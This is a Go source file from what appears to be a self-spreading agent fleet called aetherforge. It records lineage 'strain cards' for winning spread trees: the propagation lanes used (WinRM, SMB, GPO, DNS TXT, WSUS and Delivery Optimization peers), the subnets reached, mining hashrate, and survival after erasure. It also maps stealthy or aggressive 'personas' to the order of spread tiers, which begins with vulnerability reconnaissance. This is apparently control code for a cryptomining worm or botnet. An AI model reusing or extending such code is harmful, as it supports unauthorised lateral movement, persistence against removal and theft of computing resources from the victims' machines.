Winning spread trees now persist StrainCard JSON and operators can apply strain/persona presets via POST /api/v1/fleet/play-strain-card with audit logging.
340 lines
9.5 KiB
Go
340 lines
9.5 KiB
Go
package strategy
|
|
|
|
import (
|
|
"crypto/sha256"
|
|
"fmt"
|
|
"sort"
|
|
"strings"
|
|
"time"
|
|
)
|
|
|
|
// StrainParent is one node in a winning spread tree lineage.
|
|
type StrainParent struct {
|
|
AgentID string `json:"agent_id"`
|
|
AgentName string `json:"agent_name,omitempty"`
|
|
JoinLane string `json:"join_lane,omitempty"`
|
|
SpreadLane string `json:"spread_lane,omitempty"`
|
|
Generation int `json:"generation,omitempty"`
|
|
}
|
|
|
|
// StrainCard is light gamification metadata for a winning spread tree.
|
|
type StrainCard struct {
|
|
ID string `json:"id"`
|
|
RootAgentID string `json:"root_agent_id"`
|
|
SourceAgentID string `json:"source_agent_id"`
|
|
SourceAgentName string `json:"source_agent_name"`
|
|
SpreadStrain string `json:"spread_strain"`
|
|
SpreadLane string `json:"spread_lane"`
|
|
Persona string `json:"persona"`
|
|
Parents []StrainParent `json:"parents"`
|
|
Wins []string `json:"wins"`
|
|
Losses []string `json:"losses"`
|
|
Subnets []string `json:"subnets"`
|
|
ErasureRecoveryRate float64 `json:"erasure_recovery_rate"`
|
|
PeakHashrate float64 `json:"peak_hashrate"`
|
|
TierOrder []string `json:"tier_order"`
|
|
TreeSize int `json:"tree_size"`
|
|
CreatedAt time.Time `json:"created_at"`
|
|
UpdatedAt time.Time `json:"updated_at"`
|
|
}
|
|
|
|
// SpreadTreeAgent is minimal agent telemetry for card synthesis.
|
|
type SpreadTreeAgent struct {
|
|
ID string
|
|
Name string
|
|
IP string
|
|
ParentAgentID string
|
|
SpreadGeneration int
|
|
SpreadStrain string
|
|
JoinLane string
|
|
Hashrate float64
|
|
}
|
|
|
|
// SpreadStrainFromJoinLane returns a stable #RRGGBB hex for UI strain grouping.
|
|
func SpreadStrainFromJoinLane(lane string) string {
|
|
lane = strings.TrimSpace(strings.ToLower(lane))
|
|
if lane == "" {
|
|
return ""
|
|
}
|
|
sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
|
|
return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
|
|
}
|
|
|
|
var erasureJoinLanes = map[string]bool{
|
|
"dns_txt": true,
|
|
"wsus_cache_peer": true,
|
|
"do_peer": true,
|
|
}
|
|
|
|
// PersonaFromSpreadLane maps a winning join/spread lane to a Calibrate persona preset.
|
|
func PersonaFromSpreadLane(lane string) string {
|
|
lane = strings.TrimSpace(strings.ToLower(lane))
|
|
switch lane {
|
|
case "winrm", "smb", "gpo":
|
|
return "aggressive"
|
|
case "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh":
|
|
return "persuasive"
|
|
case "docker", "wsl", "container":
|
|
return "silent"
|
|
case "powershell", "dotnet", "bits_curl":
|
|
return "balanced"
|
|
default:
|
|
return "balanced"
|
|
}
|
|
}
|
|
|
|
// BuildStrainCardInput is the publish payload for auto-generating a lineage card.
|
|
type BuildStrainCardInput struct {
|
|
SourceAgentID string
|
|
SourceAgentName string
|
|
SpreadLane string
|
|
TierOrder []string
|
|
PeakHashrate float64
|
|
Attempts []TierAttempt
|
|
TreeAgents []SpreadTreeAgent
|
|
ParentLanes []string
|
|
}
|
|
|
|
// CollectSpreadTree returns the root agent id and all agents in the spread tree.
|
|
func CollectSpreadTree(agents []SpreadTreeAgent, sourceAgentID string) (rootID string, tree []SpreadTreeAgent) {
|
|
sourceAgentID = strings.TrimSpace(sourceAgentID)
|
|
if sourceAgentID == "" || len(agents) == 0 {
|
|
return "", nil
|
|
}
|
|
byID := make(map[string]SpreadTreeAgent, len(agents))
|
|
children := make(map[string][]SpreadTreeAgent)
|
|
for _, a := range agents {
|
|
byID[a.ID] = a
|
|
if p := strings.TrimSpace(a.ParentAgentID); p != "" {
|
|
children[p] = append(children[p], a)
|
|
}
|
|
}
|
|
rootID = sourceAgentID
|
|
for {
|
|
a, ok := byID[rootID]
|
|
if !ok {
|
|
break
|
|
}
|
|
p := strings.TrimSpace(a.ParentAgentID)
|
|
if p == "" {
|
|
break
|
|
}
|
|
rootID = p
|
|
}
|
|
seen := make(map[string]bool)
|
|
queue := []string{rootID}
|
|
for len(queue) > 0 {
|
|
id := queue[0]
|
|
queue = queue[1:]
|
|
if seen[id] {
|
|
continue
|
|
}
|
|
seen[id] = true
|
|
if a, ok := byID[id]; ok {
|
|
tree = append(tree, a)
|
|
for _, child := range children[id] {
|
|
queue = append(queue, child.ID)
|
|
}
|
|
}
|
|
}
|
|
sort.Slice(tree, func(i, j int) bool {
|
|
if tree[i].SpreadGeneration == tree[j].SpreadGeneration {
|
|
return tree[i].ID < tree[j].ID
|
|
}
|
|
return tree[i].SpreadGeneration < tree[j].SpreadGeneration
|
|
})
|
|
return rootID, tree
|
|
}
|
|
|
|
// BuildStrainCard synthesizes card JSON from a winning spread tree.
|
|
func BuildStrainCard(in BuildStrainCardInput) StrainCard {
|
|
now := time.Now().UTC()
|
|
lane := strings.TrimSpace(in.SpreadLane)
|
|
rootID, tree := CollectSpreadTree(in.TreeAgents, in.SourceAgentID)
|
|
if rootID == "" {
|
|
rootID = strings.TrimSpace(in.SourceAgentID)
|
|
}
|
|
if len(tree) == 0 && strings.TrimSpace(in.SourceAgentID) != "" {
|
|
tree = []SpreadTreeAgent{{ID: in.SourceAgentID, Name: in.SourceAgentName}}
|
|
}
|
|
|
|
wins, losses := tierWinLossLists(in.Attempts)
|
|
parents := buildStrainParents(tree, in.ParentLanes)
|
|
subnets := collectTreeSubnets(tree)
|
|
erasureRate := computeErasureRecoveryRate(tree)
|
|
|
|
strain := SpreadStrainFromJoinLane(lane)
|
|
for i := len(tree) - 1; i >= 0; i-- {
|
|
if s := strings.TrimSpace(tree[i].SpreadStrain); s != "" {
|
|
strain = s
|
|
break
|
|
}
|
|
}
|
|
|
|
card := StrainCard{
|
|
RootAgentID: rootID,
|
|
SourceAgentID: strings.TrimSpace(in.SourceAgentID),
|
|
SourceAgentName: strings.TrimSpace(in.SourceAgentName),
|
|
SpreadStrain: strain,
|
|
SpreadLane: lane,
|
|
Persona: PersonaFromSpreadLane(lane),
|
|
Parents: parents,
|
|
Wins: wins,
|
|
Losses: losses,
|
|
Subnets: subnets,
|
|
ErasureRecoveryRate: erasureRate,
|
|
PeakHashrate: in.PeakHashrate,
|
|
TierOrder: append([]string(nil), in.TierOrder...),
|
|
TreeSize: len(tree),
|
|
CreatedAt: now,
|
|
UpdatedAt: now,
|
|
}
|
|
if card.TierOrder == nil {
|
|
card.TierOrder = []string{}
|
|
}
|
|
if card.Wins == nil {
|
|
card.Wins = []string{}
|
|
}
|
|
if card.Losses == nil {
|
|
card.Losses = []string{}
|
|
}
|
|
if card.Subnets == nil {
|
|
card.Subnets = []string{}
|
|
}
|
|
if card.Parents == nil {
|
|
card.Parents = []StrainParent{}
|
|
}
|
|
return card
|
|
}
|
|
|
|
func buildStrainParents(tree []SpreadTreeAgent, parentLanes []string) []StrainParent {
|
|
out := make([]StrainParent, 0, len(tree))
|
|
for i, a := range tree {
|
|
if i == 0 && strings.TrimSpace(a.ParentAgentID) == "" {
|
|
continue
|
|
}
|
|
lane := strings.TrimSpace(a.JoinLane)
|
|
spreadLane := lane
|
|
if i > 0 && i-1 < len(parentLanes) {
|
|
spreadLane = strings.TrimSpace(parentLanes[i-1])
|
|
}
|
|
out = append(out, StrainParent{
|
|
AgentID: a.ID,
|
|
AgentName: a.Name,
|
|
JoinLane: lane,
|
|
SpreadLane: spreadLane,
|
|
Generation: a.SpreadGeneration,
|
|
})
|
|
}
|
|
return out
|
|
}
|
|
|
|
func tierWinLossLists(attempts []TierAttempt) (wins, losses []string) {
|
|
seenWin := make(map[string]bool)
|
|
seenLoss := make(map[string]bool)
|
|
for _, a := range attempts {
|
|
tier := strings.TrimSpace(a.Tier)
|
|
if tier == "" {
|
|
continue
|
|
}
|
|
if a.OK {
|
|
if !seenWin[tier] {
|
|
wins = append(wins, tier)
|
|
seenWin[tier] = true
|
|
}
|
|
continue
|
|
}
|
|
if !seenLoss[tier] {
|
|
losses = append(losses, tier)
|
|
seenLoss[tier] = true
|
|
}
|
|
}
|
|
return wins, losses
|
|
}
|
|
|
|
func collectTreeSubnets(tree []SpreadTreeAgent) []string {
|
|
seen := make(map[string]bool)
|
|
out := make([]string, 0, len(tree))
|
|
for _, a := range tree {
|
|
subnet := subnetFromIP(a.IP)
|
|
if subnet == "" || seen[subnet] {
|
|
continue
|
|
}
|
|
seen[subnet] = true
|
|
out = append(out, subnet)
|
|
}
|
|
sort.Strings(out)
|
|
return out
|
|
}
|
|
|
|
func computeErasureRecoveryRate(tree []SpreadTreeAgent) float64 {
|
|
if len(tree) == 0 {
|
|
return 0
|
|
}
|
|
var attempts, recoveries int
|
|
for _, a := range tree {
|
|
lane := strings.TrimSpace(strings.ToLower(a.JoinLane))
|
|
if lane == "" || !erasureJoinLanes[lane] {
|
|
continue
|
|
}
|
|
attempts++
|
|
if a.Hashrate > 0 {
|
|
recoveries++
|
|
}
|
|
}
|
|
if attempts == 0 {
|
|
return 0
|
|
}
|
|
return float64(recoveries) / float64(attempts)
|
|
}
|
|
|
|
// TemperamentFromCard builds spread_temperament policy from a strain card.
|
|
func TemperamentFromCard(card StrainCard) AdaptiveStrategy {
|
|
order := card.TierOrder
|
|
if len(order) == 0 {
|
|
order = PersonaSpreadTierOrder(card.Persona)
|
|
}
|
|
reason := StrategyReason{
|
|
Fact: "lineage_strain_card=" + card.ID,
|
|
Inference: "Operator played winning spread tree strain on agent",
|
|
Action: "Apply tier order: " + strings.Join(order, " → "),
|
|
}
|
|
return AdaptiveStrategy{
|
|
TierOrder: append([]string(nil), order...),
|
|
Reasoning: []StrategyReason{reason},
|
|
Confidence: 0.9,
|
|
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
|
|
}
|
|
}
|
|
|
|
// PersonaSpreadTierOrder returns spread tier order for a persona id (mirrors fleet AI).
|
|
func PersonaSpreadTierOrder(persona string) []string {
|
|
switch strings.ToLower(strings.TrimSpace(persona)) {
|
|
case "aggressive":
|
|
return []string{
|
|
"vuln_recon", "docker", "smb", "winrm", "bits_curl", "wsl", "powershell", "dotnet",
|
|
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "linux", "gpo",
|
|
}
|
|
case "silent":
|
|
return []string{
|
|
"vuln_recon", "docker", "wsl", "dotnet", "powershell", "bits_curl",
|
|
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
|
|
}
|
|
case "passive":
|
|
return []string{
|
|
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
|
|
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
|
|
}
|
|
case "persuasive":
|
|
return []string{
|
|
"vuln_recon", "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh", "bits_curl",
|
|
"docker", "wsl", "powershell", "dotnet", "smb", "winrm", "linux", "gpo",
|
|
}
|
|
default:
|
|
return []string{
|
|
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
|
|
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
|
|
}
|
|
}
|
|
}
|